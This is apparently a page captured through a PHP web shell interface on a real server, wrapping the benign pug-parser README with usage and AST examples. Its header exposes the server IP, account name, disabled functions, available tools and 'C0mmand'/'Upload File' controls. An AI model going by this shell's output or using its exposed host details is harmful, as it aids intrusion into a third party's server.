Server IP : 92.205.26.207 / Your IP : 216.73.216.16 Web Server : Apache System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64 User : zikryat ( 1002) PHP Version : 8.3.23 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/zikryat/public_html/node_modules/pug-parser/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
# pug-parser The pug parser (takes an array of tokens and converts it to an abstract syntax tree) [](https://travis-ci.org/pugjs/pug-parser) [](https://david-dm.org/pugjs/pug?path=packages/pug-parser) [](https://david-dm.org/pugjs/pug?path=packages/pug-parser&type=dev) [](https://www.npmjs.org/package/pug-parser) ## Installation npm install pug-parser ## Usage ```js var parse = require('pug-parser'); ``` ### `parse(tokens, options)` Convert Pug tokens to an abstract syntax tree (AST). `options` can contain the following properties: - `filename` (string): The name of the Pug file; it is included in the produced AST nodes and error handling, if provided. - `plugins` (array): An array of plugins, in the order they should be applied. - `src` (string): The source of the Pug file; it is used in error handling if provided. ```js var lex = require('pug-lexer'); var filename = 'my-file.pug'; var src = 'div(data-foo="bar")'; var tokens = lex(src, {filename}); var ast = parse(tokens, {filename, src}); console.log(JSON.stringify(ast, null, ' ')) ``` ```json { "type": "Block", "nodes": [ { "type": "Tag", "name": "div", "selfClosing": false, "block": { "type": "Block", "nodes": [], "line": 1, "filename": "my-file.pug" }, "attrs": [ { "name": "data-foo", "val": "\"bar\"", "line": 1, "column": 5, "filename": "my-file.pug", "mustEscape": true } ], "attributeBlocks": [], "isInline": false, "line": 1, "column": 1, "filename": "my-file.pug" } ], "line": 0, "filename": "my-file.pug" } ``` ### `new parse.Parser(tokens, options)` Constructor for a Parser class. This is not meant to be used directly unless you know what you are doing. `options` may contain the following properties: - `filename` (string): The name of the Pug file; it is included in the produced AST nodes and error handling, if provided. - `plugins` (array): An array of plugins, in the order they should be applied. - `src` (string): The source of the Pug file; it is used in error handling if provided. ## License MIT